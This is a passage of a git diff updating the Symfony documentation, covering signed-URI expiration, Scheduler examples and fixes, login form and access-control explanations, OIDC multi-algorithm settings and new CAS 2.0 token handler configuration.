-            $signUpPageInDutch = $this->router->generate('sign_up', ['_locale' => 'nl']);
+            $signUpPageInDutch = $this->urlGenerator->generate('sign_up', ['_locale' => 'nl']);
         }
     }
 
@@ -2694,6 +2755,59 @@ service, which you can inject in your services or controllers::
         }
     }
 
+For security reasons, it's common to make signed URIs expire after some time
+(e.g. when using them to reset user credentials). By default, signed URIs don't
+expire, but you can define an expiration date/time using the ``$expiration``
+argument of :method:`Symfony\\Component\\HttpFoundation\\UriSigner::sign`::
+
+    // src/Service/SomeService.php
+    namespace App\Service;
+
+    use Symfony\Component\HttpFoundation\UriSigner;
+
+    class SomeService
+    {
+        public function __construct(
+            private UriSigner $uriSigner,
+        ) {
+        }
+
+        public function someMethod(): void
+        {
+            // ...
+
+            // generate a URL yourself or get it somehow...
+            $url = 'https://example.com/foo/bar?sort=desc';
+
+            // sign the URL with an explicit expiration date
+            $signedUrl = $this->uriSigner->sign($url, new \DateTimeImmutable('2050-01-01'));
+            // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=2524608000&_hash=e4a21b9'
+
+            // if you pass a \DateInterval, it will be added from now to get the expiration date
+            $signedUrl = $this->uriSigner->sign($url, new \DateInterval('PT10S'));  // valid for 10 seconds from now
+            // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=1712414278&_hash=e4a21b9'
+
+            // you can also use a timestamp in seconds
+            $signedUrl = $this->uriSigner->sign($url, 4070908800); // timestamp for the date 2099-01-01
+            // $signedUrl = 'https://example.com/foo/bar?sort=desc&_expiration=4070908800&_hash=e4a21b9'
+        }
+    }
+
+.. note::
+
+    The expiration date/time is included in the signed URIs as a timestamp via
+    the ``_expiration`` query parameter.
+
+.. versionadded:: 7.1
+
+    The feature to add an expiration date for a signed URI was introduced in Symfony 7.1.
+
+.. note::
+
+    The generated URI hashes may include the ``/`` and ``+`` characters, which
+    can cause issues with certain clients. If you encounter this problem, replace
+    them using the following: ``strtr($hash, ['/' => '_', '+' => '-'])``.
+
 Troubleshooting
 ---------------
 
diff --git a/routing/custom_route_loader.rst b/routing/custom_route_loader.rst
index 0cea7d6b9fd..b41057a81ed 100644
--- a/routing/custom_route_loader.rst
+++ b/routing/custom_route_loader.rst
@@ -271,7 +271,7 @@ you do. The resource name itself is not actually used in the example::
     {
         private bool $isLoaded = false;
 
-        public function load($resource, string $type = null): RouteCollection
+        public function load($resource, ?string $type = null): RouteCollection
         {
             if (true === $this->isLoaded) {
                 throw new \RuntimeException('Do not add the "extra" loader twice');
@@ -298,7 +298,7 @@ you do. The resource name itself is not actually used in the example::
             return $routes;
         }
 
-        public function supports($resource, string $type = null): bool
+        public function supports($resource, ?string $type = null): bool
         {
             return 'extra' === $type;
         }
@@ -443,7 +443,7 @@ configuration file - you can call the
 
     class AdvancedLoader extends Loader
     {
-        public function load($resource, string $type = null): RouteCollection
+        public function load($resource, ?string $type = null): RouteCollection
         {
             $routes = new RouteCollection();
 
@@ -457,7 +457,7 @@ configuration file - you can call the
             return $routes;
         }
 
-        public function supports($resource, string $type = null): bool
+        public function supports($resource, ?string $type = null): bool
         {
             return 'advanced_extra' === $type;
         }
diff --git a/scheduler.rst b/scheduler.rst
index 324f2d11be4..ddc40aa4952 100644
--- a/scheduler.rst
+++ b/scheduler.rst
@@ -22,6 +22,11 @@ install the scheduler component:
 
     $ composer require symfony/scheduler
 
+.. tip::
+
+    Starting in `MakerBundle`_ ``v1.58.0``, you can run ``php bin/console make:schedule``
+    to generate a basic schedule, that you can customize to create your own Scheduler.
+
 Symfony Scheduler Basics
 ------------------------
 
@@ -149,7 +154,7 @@ the frequency of the message. Symfony provides different types of triggers:
 
 :class:`Symfony\\Component\\Scheduler\\Trigger\\JitterTrigger`
     A trigger that adds a random jitter to a given trigger. The jitter is some
-    time that it's added/subtracted to the original triggering date/time. This
+    time that is added to the original triggering date/time. This
     allows to distribute the load of the scheduled tasks instead of running them
     all at the exact same time.
 
@@ -306,7 +311,7 @@ For example, if you want to send customer reports daily except for holiday perio
             }
 
             // loop until you get the next run date that is not a holiday
-            while (!$this->isHoliday($nextRun) {
+            while ($this->isHoliday($nextRun)) {
                 $nextRun = $this->inner->getNextRunDate($nextRun);
             }
 
@@ -389,9 +394,10 @@ checks for messages to be generated::
                         new ExcludeHolidaysTrigger(
                             CronExpressionTrigger::fromSpec('@daily'),
                         ),
-                    // instead of being static as in the previous example
-                    new CallbackMessageProvider([$this, 'generateReports'], 'foo')),
-                    RecurringMessage::cron(‘3 8 * * 1’, new CleanUpOldSalesReport())
+                        // instead of being static as in the previous example
+                        new CallbackMessageProvider([$this, 'generateReports'], 'foo')
+                    ),
+                    RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport())
                 );
         }
 
@@ -449,6 +455,11 @@ The attribute takes more parameters to customize the trigger::
     // defines the timezone to use
     #[AsCronTask('0 0 * * *', timezone: 'Africa/Malabo')]
 
+    // when applying this attribute to a Symfony console command, you can pass
+    // arguments and options to the command using the 'arguments' option:
+    #[AsCronTask('0 0 * * *', arguments: 'some_argument --some-option --another-option=some_value')]
+    class MyCommand extends Command
+
 .. _scheduler-attributes-periodic-task:
 
 ``AsPeriodicTask`` Example
@@ -493,8 +504,10 @@ The ``#[AsPeriodicTask]`` attribute takes many parameters to customize the trigg
         }
     }
 
-    // defines the timezone to use
-    #[AsPeriodicTask(frequency: '1 day', timezone: 'Africa/Malabo')]
+    // when applying this attribute to a Symfony console command, you can pass
+    // arguments and options to the command using the 'arguments' option:
+    #[AsPeriodicTask(frequency: '1 day', arguments: 'some_argument --some-option --another-option=some_value')]
+    class MyCommand extends Command
 
 Managing Scheduled Messages
 ---------------------------
@@ -563,7 +576,7 @@ In your handler, you can check a condition and, if affirmative, access the
         }
     }
 
-    // src/Scheduler/Handler/.php
+    // src/Scheduler/Handler/CleanUpOldSalesReportHandler.php
     namespace App\Scheduler\Handler;
 
     #[AsMessageHandler]
@@ -627,14 +640,18 @@ being transferred and processed by its handler::
     #[AsSchedule('uptoyou')]
     class SaleTaskProvider implements ScheduleProviderInterface
     {
+        public function __construct(private EventDispatcherInterface $dispatcher)
+        {
+        }
+
         public function getSchedule(): Schedule
         {
             $this->removeOldReports = RecurringMessage::cron('3 8 * * 1', new CleanUpOldSalesReport());
 
-            return $this->schedule ??= (new Schedule())
+            return $this->schedule ??= (new Schedule($this->dispatcher))
                 ->with(
                     // ...
-                );
+                )
                 ->before(function(PreRunEvent $event) {
                     $message = $event->getMessage();
                     $messageContext = $event->getMessageContext();
@@ -646,14 +663,14 @@ being transferred and processed by its handler::
                     $schedule->removeById($messageContext->id);
 
                     // allow to call the ShouldCancel() and avoid the message to be handled
-                        $event->shouldCancel(true);
-                }
+                    $event->shouldCancel(true);
+                })
                 ->after(function(PostRunEvent $event) {
                     // Do what you want
-                }
+                })
                 ->onFailure(function(FailureEvent $event) {
                     // Do what you want
-                }
+                });
         }
     }
 
@@ -749,8 +766,19 @@ and their priorities:
 
     $ php bin/console debug:event-dispatcher "Symfony\Component\Scheduler\Event\FailureEvent"
 
-Consuming Messages (Running the Worker)
----------------------------------------
+.. _consuming-messages-running-the-worker:
+
+Consuming Messages
+------------------
+
+The Scheduler component offers two ways to consume messages, depending on your
+needs: using the ``messenger:consume`` command or creating a worker programmatically.
+The first solution is the recommended one when using the Scheduler component in
+the context of a full stack Symfony application, the second one is more suitable
+when using the Scheduler component as a standalone component.
+
+Running a Worker
+~~~~~~~~~~~~~~~~
 
 After defining and attaching your recurring messages to a schedule, you'll need
 a mechanism to generate and consume the messages according to their defined frequencies.
@@ -767,6 +795,52 @@ the Messenger component:
 .. image:: /_images/components/scheduler/generate_consume.png
     :alt: Symfony Scheduler - generate and consume
 
+.. tip::
+
+    Depending on your deployment scenario, you may prefer automating the execution of
+    the Messenger worker process using tools like cron, Supervisor, or systemd.
+    This ensures workers are running continuously. For more details, refer to the
+    `Deploying to Production`_ section of the Messenger component documentation.
+
+Creating a Consumer Programmatically
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+An alternative to the previous solution is to create and call a worker that
+will consume the messages. The component comes with a ready-to-use worker
+named :class:`Symfony\\Component\\Scheduler\\Scheduler` that you can use in your
+code::
+
+    use Symfony\Component\Scheduler\Scheduler;
+
+    $schedule = (new Schedule())
+        ->with(
+            RecurringMessage::trigger(
+                new ExcludeHolidaysTrigger(
+                    CronExpressionTrigger::fromSpec('@daily'),
+                ),
+                new SendDailySalesReports()
+            ),
+        );
+
+    $scheduler = new Scheduler(handlers: [
+        SendDailySalesReports::class => new SendDailySalesReportsHandler(),
+        // add more handlers if you have more message types
+    ], schedules: [
+        $schedule,
+        // the scheduler can take as many schedules as you need
+    ]);
+
+    // finally, run the scheduler once it's ready
+    $scheduler->run();
+
+.. note::
+
+    The :class:`Symfony\\Component\\Scheduler\\Scheduler` may be used
+    when using the Scheduler component as a standalone component. If
+    you are using it in the framework context, it is highly recommended to
+    use the ``messenger:consume`` command as explained in the previous
+    section.
+
 Debugging the Schedule
 ----------------------
 
@@ -851,7 +925,7 @@ same task more than once::
                 ->with(
                     // ...
                 )
-                ->lock($this->lockFactory->createLock('my-lock')
+                ->lock($this->lockFactory->createLock('my-lock'));
         }
     }
 
@@ -881,6 +955,12 @@ before being further redispatched to its corresponding handler::
         }
     }
 
+When using the ``RedispatchMessage``, Symfony will attach a
+:class:`Symfony\\Component\\Scheduler\\Messenger\\ScheduledStamp` to the message,
+helping you identify those messages when needed.
+
+.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
+.. _`Deploying to Production`: https://symfony.com/doc/current/messenger.html#deploying-to-production
 .. _`Memoizing`: https://en.wikipedia.org/wiki/Memoization
 .. _`cron command-line utility`: https://en.wikipedia.org/wiki/Cron
 .. _`crontab.guru website`: https://crontab.guru/
diff --git a/security.rst b/security.rst
index 7b3ae9e1590..7a551885ee4 100644
--- a/security.rst
+++ b/security.rst
@@ -203,6 +203,13 @@ from the `MakerBundle`_:
         }
     }
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.57.0 - You can pass either ``--with-uuid`` or
+    ``--with-ulid`` to ``make:user``. Leveraging Symfony's :doc:`Uid Component </components/uid>`,
+    this generates a ``User`` entity with the ``id`` type as :ref:`Uuid <uuid>`
+    or :ref:`Ulid <ulid>` instead of ``int``.
+
 If your user is a Doctrine entity, like in the example above, don't forget
 to create the tables by :ref:`creating and running a migration <doctrine-creating-the-database-tables-schema>`:
 
@@ -211,6 +218,11 @@ to create the tables by :ref:`creating and running a migration <doctrine-creatin
     $ php bin/console make:migration
     $ php bin/console doctrine:migrations:migrate
 
+.. tip::
+
+    Starting in `MakerBundle`_: v1.56.0 - Passing ``--formatted`` to ``make:migration``
+    generates a nice and tidy migration file.
+
 .. _where-do-users-come-from-user-providers:
 .. _security-user-providers:
 
@@ -437,6 +449,8 @@ the database::
     Doctrine repository class related to the user class must implement the
     :class:`Symfony\\Component\\Security\\Core\\User\\PasswordUpgraderInterface`.
 
+.. _security-make-registration-form:
+
 .. tip::
 
     The ``make:registration-form`` maker command can help you set-up the
@@ -698,7 +712,7 @@ many other authenticators:
 
     If your application logs users in via a third-party service such as
     Google, Facebook or Twitter (social login), check out the `HWIOAuthBundle`_
-    community bundle.
+    community bundle or `Oauth2-client`_ package.
 
 .. _security-form-login:
 
@@ -864,10 +878,10 @@ Finally, create or update the template:
 
         <form action="{{ path('app_login') }}" method="post">
             <label for="username">Email:</label>
-            <input type="text" id="username" name="_username" value="{{ last_username }}">
+            <input type="text" id="username" name="_username" value="{{ last_username }}" required>
 
             <label for="password">Password:</label>
-            <input type="password" id="password" name="_password">
+            <input type="password" id="password" name="_password" required>
 
             {# If you want to control the URL the user is redirected to on success
             <input type="hidden" name="_target_path" value="/account"> #}
@@ -876,7 +890,7 @@ Finally, create or update the template:
         </form>
     {% endblock %}
 
-.. caution::
+.. warning::
 
     The ``error`` variable passed into the template is an instance
     of :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
@@ -1002,7 +1016,7 @@ be ``authenticate``:
     <form action="{{ path('app_login') }}" method="post">
         {# ... the login fields #}
 
-        <input type="hidden" name="_csrf_token" value="{{ csrf_token('authenticate') }}">
+        <input type="hidden" name="_csrf_token" data-controller="csrf-protection" value="{{ csrf_token('authenticate') }}">
 
         <button type="submit">login</button>
     </form>
@@ -1730,7 +1744,7 @@ You can log in a user programmatically using the ``login()`` method of the
 :class:`Symfony\\Bundle\\SecurityBundle\\Security` helper::
 
     // src/Controller/SecurityController.php
-    namespace App\Controller\SecurityController;
+    namespace App\Controller;
 
     use App\Security\Authenticator\ExampleAuthenticator;
     use Symfony\Bundle\SecurityBundle\Security;
@@ -2231,7 +2245,7 @@ Users with ``ROLE_SUPER_ADMIN``, will automatically have ``ROLE_ADMIN``,
 ``ROLE_ALLOWED_TO_SWITCH`` and ``ROLE_USER`` (inherited from
 ``ROLE_ADMIN``).
 
-.. caution::
+.. warning::
 
     For role hierarchy to work, do not use ``$user->getRoles()`` manually.
     For example, in a controller extending from the :ref:`base controller <the-base-controller-class-services>`::
@@ -2458,7 +2472,7 @@ will happen:
 .. _security-securing-controller-annotations:
 .. _security-securing-controller-attributes:
 
-Another way to secure one or more controller actions is to use the ``#[IsGranted()]`` attribute.
+Another way to secure one or more controller actions is to use the ``#[IsGranted]`` attribute.
 In the following example, all controller actions will require the
 ``ROLE_ADMIN`` permission, except for ``adminDashboard()``, which will require
 the ``ROLE_SUPER_ADMIN`` permission:
@@ -2544,7 +2558,7 @@ want to include extra details only for users that have a ``ROLE_SALES_ADMIN`` ro
       class SalesReportManager
       {
     +     public function __construct(
-    +         Security $security,
+    +         private Security $security,
     +     ) {
     +     }
 
@@ -2695,7 +2709,7 @@ you have the following two options.
 
 Firstly, if you've given *every* user ``ROLE_USER``, you can check for that role.
 
-Secondly, you can use the special "attribute" ``IS_AUTHENTICATED_FULLY`` in place of a role::
+Secondly, you can use the special "attribute" ``IS_AUTHENTICATED`` in place of a role::
 
     // ...
 
@@ -2759,6 +2773,8 @@ implement :class:`Symfony\\Component\\Security\\Core\\User\\EquatableInterface`.
 Then, your ``isEqualTo()`` method will be called when comparing users instead
 of the core logic.
 
+.. _security-security-events:
+
 Security Events
 ---------------
 
@@ -2949,3 +2965,4 @@ Authorization (Denying Access)
 .. _`HTTP Basic authentication`: https://en.wikipedia.org/wiki/Basic_access_authentication
 .. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
 .. _`PHP date relative formats`: https://www.php.net/manual/en/datetime.formats.php#datetime.formats.relative
+.. _`Oauth2-client`: https://github.com/thephpleague/oauth2-client
diff --git a/security/access_control.rst b/security/access_control.rst
index a8a0a3e2987..8e62e8a84c7 100644
--- a/security/access_control.rst
+++ b/security/access_control.rst
@@ -169,35 +169,51 @@ For each incoming request, Symfony will decide which ``access_control``
 to use based on the URI, the client's IP address, the incoming host name,
 and the request method. Remember, the first rule that matches is used, and
 if ``ip``, ``port``, ``host`` or ``method`` are not specified for an entry, that
-``access_control`` will match any ``ip``, ``port``, ``host`` or ``method``:
-
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| URI             | IP          | PORT        | HOST        | METHOD     | ``access_control``             | Why?                                                        |
-+=================+=============+=============+=============+============+================================+=============================================================+
-| ``/admin/user`` | 127.0.0.1   | 80          | example.com | GET        | rule #2 (``ROLE_USER_IP``)     | The URI matches ``path`` and the IP matches ``ip``.         |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | 80          | symfony.com | GET        | rule #2 (``ROLE_USER_IP``)     | The ``path`` and ``ip`` still match. This would also match  |
-|                 |             |             |             |            |                                | the ``ROLE_USER_HOST`` entry, but *only* the **first**      |
-|                 |             |             |             |            |                                | ``access_control`` match is used.                           |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 127.0.0.1   | 8080        | symfony.com | GET        | rule #1 (``ROLE_USER_PORT``)   | The ``path``, ``ip`` and ``port`` match.                    |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | GET        | rule #3 (``ROLE_USER_HOST``)   | The ``ip`` doesn't match neither the first rule nor the     |
-|                 |             |             |             |            |                                | second rule. So the third rule (which matches) is used.     |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | symfony.com | POST       | rule #3 (``ROLE_USER_HOST``)   | The third rule still matches. This would also match the     |
-|                 |             |             |             |            |                                | fourth rule (``ROLE_USER_METHOD``), but only the **first**  |
-|                 |             |             |             |            |                                | matched ``access_control`` is used.                         |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/admin/user`` | 168.0.0.1   | 80          | example.com | POST       | rule #4 (``ROLE_USER_METHOD``) | The ``ip`` and ``host`` don't match the first three         |
-|                 |             |             |             |            |                                | entries, but the fourth - ``ROLE_USER_METHOD`` - matches    |
-|                 |             |             |             |            |                                | and is used.                                                |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-| ``/foo``        | 127.0.0.1   | 80          | symfony.com | POST       | matches no entries             | This doesn't match any ``access_control`` rules, since its  |
-|                 |             |             |             |            |                                | URI doesn't match any of the ``path`` values.               |
-+-----------------+-------------+-------------+-------------+------------+--------------------------------+-------------------------------------------------------------+
-
-.. caution::
+``access_control`` will match any ``ip``, ``port``, ``host`` or ``method``.
+See the following examples:
+
+Example #1:
+  * **URI** ``/admin/user``
+  * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``example.com``, **Method**: ``GET``
+  * **Rule applied**: rule #2 (``ROLE_USER_IP``)
+  * **Why?** The URI matches ``path`` and the IP matches ``ip``.
+Example #2:
+  * **URI** ``/admin/user``
+  * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``GET``
+  * **Rule applied**: rule #2 (``ROLE_USER_IP``)
+  * **Why?** The ``path`` and ``ip`` still match. This would also match the
+    ``ROLE_USER_HOST`` entry, but *only* the **first** ``access_control`` match is used.
+Example #3:
+  * **URI** ``/admin/user``
+  * **IP**: ``127.0.0.1``, **Port**: ``8080``, **Host**: ``symfony.com``, **Method**: ``GET``
+  * **Rule applied**: rule #1 (``ROLE_USER_PORT``)
+  * **Why?** The ``path``, ``ip`` and ``port`` match.
+Example #4:
+  * **URI** ``/admin/user``
+  * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``GET``
+  * **Rule applied**: rule #3 (``ROLE_USER_HOST``)
+  * **Why?** The ``ip`` doesn't match neither the first rule nor the second rule.
+  * So the third rule (which matches) is used.
+Example #5:
+  * **URI** ``/admin/user``
+  * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``POST``
+  * **Rule applied**: rule #3 (``ROLE_USER_HOST``)
+  * **Why?** The third rule still matches. This would also match the fourth rule
+  * (``ROLE_USER_METHOD``), but only the **first** matched ``access_control`` is used.
+Example #6:
+  * **URI** ``/admin/user``
+  * **IP**: ``168.0.0.1``, **Port**: ``80``, **Host**: ``example.com``, **Method**: ``POST``
+  * **Rule applied**: rule #4 (``ROLE_USER_METHOD``)
+  * **Why?** The ``ip`` and ``host`` don't match the first three entries, but
+  * the fourth - ``ROLE_USER_METHOD`` - matches and is used.
+Example #7:
+  * **URI** ``/foo``
+  * **IP**: ``127.0.0.1``, **Port**: ``80``, **Host**: ``symfony.com``, **Method**: ``POST``
+  * **Rule applied**: matches no entries
+  * **Why?** This doesn't match any ``access_control`` rules, since its URI
+  * doesn't match any of the ``path`` values.
+
+.. warning::
 
     Matching the URI is done without ``$_GET`` parameters.
     :ref:`Deny access in PHP code <security-securing-controller>` if you want
@@ -230,7 +246,7 @@ options:
     can learn how to use your custom attributes by reading
     :ref:`security/custom-voter`.
 
-.. caution::
+.. warning::
 
     If you define both ``roles`` and ``allow_if``, and your Access Decision
     Strategy is the default one (``affirmative``), then the user will be granted
@@ -252,7 +268,7 @@ entry that *only* matches requests coming from some IP address or range.
 For example, this *could* be used to deny access to a URL pattern to all
 requests *except* those from a trusted, internal server.
 
-.. caution::
+.. warning::
 
     As you'll read in the explanation below the example, the ``ips`` option
     does not restrict to a specific IP address. Instead, using the ``ips``
diff --git a/security/access_denied_handler.rst b/security/access_denied_handler.rst
index 5671b0538a1..37490e3120b 100644
--- a/security/access_denied_handler.rst
+++ b/security/access_denied_handler.rst
@@ -38,7 +38,7 @@ unauthenticated user tries to access a protected resource::
         ) {
         }
 
-        public function start(Request $request, AuthenticationException $authException = null): RedirectResponse
+        public function start(Request $request, ?AuthenticationException $authException = null): RedirectResponse
         {
             // add a custom flash message and redirect to the login page
             $request->getSession()->getFlashBag()->add('note', 'You have to login in order to access this page.');
diff --git a/security/access_token.rst b/security/access_token.rst
index 29fbfbc8bb6..c0ff4692676 100644
--- a/security/access_token.rst
+++ b/security/access_token.rst
@@ -78,6 +78,7 @@ This handler must implement
     namespace App\Security;
 
     use App\Repository\AccessTokenRepository;
+    use Symfony\Component\Security\Core\Exception\BadCredentialsException;
     use Symfony\Component\Security\Http\AccessToken\AccessTokenHandlerInterface;
     use Symfony\Component\Security\Http\Authenticator\Passport\Badge\UserBadge;
 
@@ -97,6 +98,8 @@ This handler must implement
             }
 
             // and return a UserBadge object containing the user identifier from the found token
+            // (this is the same identifier used in Security configuration; it can be an email,
+            // a UUID, a username, a database ID, etc.)
             return new UserBadge($accessToken->getUserId());
         }
     }
@@ -104,7 +107,7 @@ This handler must implement
 The access token authenticator will use the returned user identifier to
 load the user using the :ref:`user provider <security-user-providers>`.
 
-.. caution::
+.. warning::
 
     It is important to check the token if is valid. For instance, the
     example above verifies whether the token has not expired. With
@@ -133,7 +136,7 @@ Symfony provides other extractors as per the `RFC6750`_:
     The token is part of the request body during a POST request. Usually
     ``access_token``.
 
-.. caution::
+.. warning::
 
     Because of the security weaknesses associated with the URI method,
     including the high likelihood that the URL or the request body
@@ -535,15 +538,12 @@ claims. To create your own user object from the claims, you must
 2) Configure the OidcTokenHandler
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
-The ``OidcTokenHandler`` requires ``web-token/jwt-signature``,
-``web-token/jwt-checker`` and ``web-token/jwt-signature-algorithm-ecdsa``
-packages. If you haven't installed them yet, run these commands:
+The ``OidcTokenHandler`` requires the ``web-token/jwt-library`` package.
+If you haven't installed it yet, run this command:
 
 .. code-block:: terminal
 
-    $ composer require web-token/jwt-signature
-    $ composer require web-token/jwt-checker
-    $ composer require web-token/jwt-signature-algorithm-ecdsa
+    $ composer require web-token/jwt-library
 
 Symfony provides a generic ``OidcTokenHandler`` to decode your token, validate
 it and retrieve the user info from it:
@@ -559,10 +559,10 @@ it and retrieve the user info from it:
                     access_token:
                         token_handler:
                             oidc:
-                                # Algorithm used to sign the JWS
-                                algorithm: 'ES256'
+                                # Algorithms used to sign the JWS
+                                algorithms: ['ES256', 'RS256']
                                 # A JSON-encoded JWK
-                                key: '{"kty":"...","k":"..."}'
+                                keyset: '{"keys":[{"kty":"...","k":"..."}]}'
                                 # Audience (`aud` claim): required for validation purpose
                                 audience: 'api-example'
                                 # Issuers (`iss` claim): required for validation purpose
@@ -587,8 +587,10 @@ it and retrieve the user info from it:
                             <!-- Algorithm used to sign the JWS -->
                             <!-- A JSON-encoded JWK -->
                             <!-- Audience (`aud` claim): required for validation purpose -->
-                            <oidc algorithm="ES256" key="{'kty':'...','k':'...'}" audience="api-example">
+                            <oidc keyset="{'keys':[{'kty':'...','k':'...'}]}" audience="api-example">
                                 <!-- Issuers (`iss` claim): required for validation purpose -->
+                                <algorithm>ES256</algorithm>
+                                <algorithm>RS256</algorithm>
                                 <issuer>https://oidc.example.com</issuer>
                             </oidc>
                         </token-handler>
@@ -608,9 +610,9 @@ it and retrieve the user info from it:
                     ->tokenHandler()
                         ->oidc()
                             // Algorithm used to sign the JWS
-                            ->algorithm('ES256')
+                            ->algorithms(['ES256', 'RS256'])
                             // A JSON-encoded JWK
-                            ->key('{"kty":"...","k":"..."}')
+                            ->keyset('{"keys":[{"kty":"...","k":"..."}]}')
                             // Audience (`aud` claim): required for validation purpose
                             ->audience('api-example')
                             // Issuers (`iss` claim): required for validation purpose
@@ -618,6 +620,11 @@ it and retrieve the user info from it:
             ;
         };
 
+.. versionadded:: 7.1
+
+    The support of multiple algorithms to sign the JWS was introduced in Symfony 7.1.
+    In previous versions, only the ``ES256`` algorithm was supported.
+
 Following the `OpenID Connect Specification`_, the ``sub`` claim is used by
 default as user identifier. To use another claim, specify it on the
 configuration:
@@ -634,8 +641,8 @@ configuration:
                         token_handler:
                             oidc:
                                 claim: email
-                                algorithm: 'ES256'
-                                key: '{"kty":"...","k":"..."}'
+                                algorithms: ['ES256', 'RS256']
+                                keyset: '{"keys":[{"kty":"...","k":"..."}]}'
                                 audience: 'api-example'
                                 issuers: ['https://oidc.example.com']
 
@@ -655,7 +662,9 @@ configuration:
                 <firewall name="main">
                     <access-token>
                         <token-handler>
-                            <oidc claim="email" algorithm="ES256" key="{'kty':'...','k':'...'}" audience="api-example">
+                            <oidc claim="email" keyset="{'keys':[{'kty':'...','k':'...'}]}" audience="api-example">
+                                <algorithm>ES256</algorithm>
+                                <algorithm>RS256</algorithm>
                                 <issuer>https://oidc.example.com</issuer>
                             </oidc>
                         </token-handler>
@@ -675,8 +684,8 @@ configuration:
                     ->tokenHandler()
                         ->oidc()
                             ->claim('email')
-                            ->algorithm('ES256')
-                            ->key('{"kty":"...","k":"..."}')
+                            ->algorithms(['ES256', 'RS256'])
+                            ->keyset('{"keys":[{"kty":"...","k":"..."}]}')
                             ->audience('api-example')
                             ->issuers(['https://oidc.example.com'])
             ;
@@ -697,6 +706,191 @@ create your own User from the claims, you must
         }
     }
 
+Using CAS 2.0
+-------------
+
+.. versionadded:: 7.1
+
+    The support for CAS token handlers was introduced in Symfony 7.1.
+
+`Central Authentication Service (CAS)`_ is an enterprise multilingual single
+sign-on solution and identity provider for the web and attempts to be a
+comprehensive platform for your authentication and authorization needs.
+
+Configure the Cas2Handler
+~~~~~~~~~~~~~~~~~~~~~~~~~
+
+Symfony provides a generic ``Cas2Handler`` to call your CAS server. It requires
+the ``symfony/http-client`` package to make the needed HTTP requests. If you
+haven't installed it yet, run this command:
+
+.. code-block:: terminal
+
+    $ composer require symfony/http-client
+
+You can configure a ``cas`` token handler as follows:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            cas:
+                                validation_url: https://www.example.com/cas/validate
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <cas validation-url="https://www.example.com/cas/validate"/>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->cas()
+                            ->validationUrl('https://www.example.com/cas/validate')
+            ;
+        };
+
+The ``cas`` token handler automatically creates an HTTP client to call
+the specified ``validation_url``. If you prefer using your own client, you can
+specify the service name via the ``http_client`` option:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            cas:
+                                validation_url: https://www.example.com/cas/validate
+                                http_client: cas.client
+
+    .. code-block:: xml
+
+        <!-- config/packages/security.xml -->
+        <?xml version="1.0" encoding="UTF-8"?>
+        <srv:container xmlns="http://symfony.com/schema/dic/security"
+            xmlns:srv="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/security
+                https://symfony.com/schema/dic/security/security-1.0.xsd">
+
+            <config>
+                <firewall name="main">
+                    <access-token>
+                        <token-handler>
+                            <cas validation-url="https://www.example.com/cas/validate" http-client="cas.client"/>
+                        </token-handler>
+                    </access-token>
+                </firewall>
+            </config>
+        </srv:container>
+
+    .. code-block:: php
+
+        // config/packages/security.php
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
+            $security->firewall('main')
+                ->accessToken()
+                    ->tokenHandler()
+                        ->cas()
+                            ->validationUrl('https://www.example.com/cas/validate')
+                            ->httpClient('cas.client')
+            ;
+        };
+
+By default the token handler will read the validation URL XML response with
+ ``cas`` prefix but you can configure another prefix:
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/security.yaml
+        security:
+            firewalls:
+                main:
+                    access_token:
+                        token_handler:
+                            cas:
+                                validation_url: https://www.example.com/cas/validate
+                                prefix: cas-example
+
+    .. code-block:: xml
+
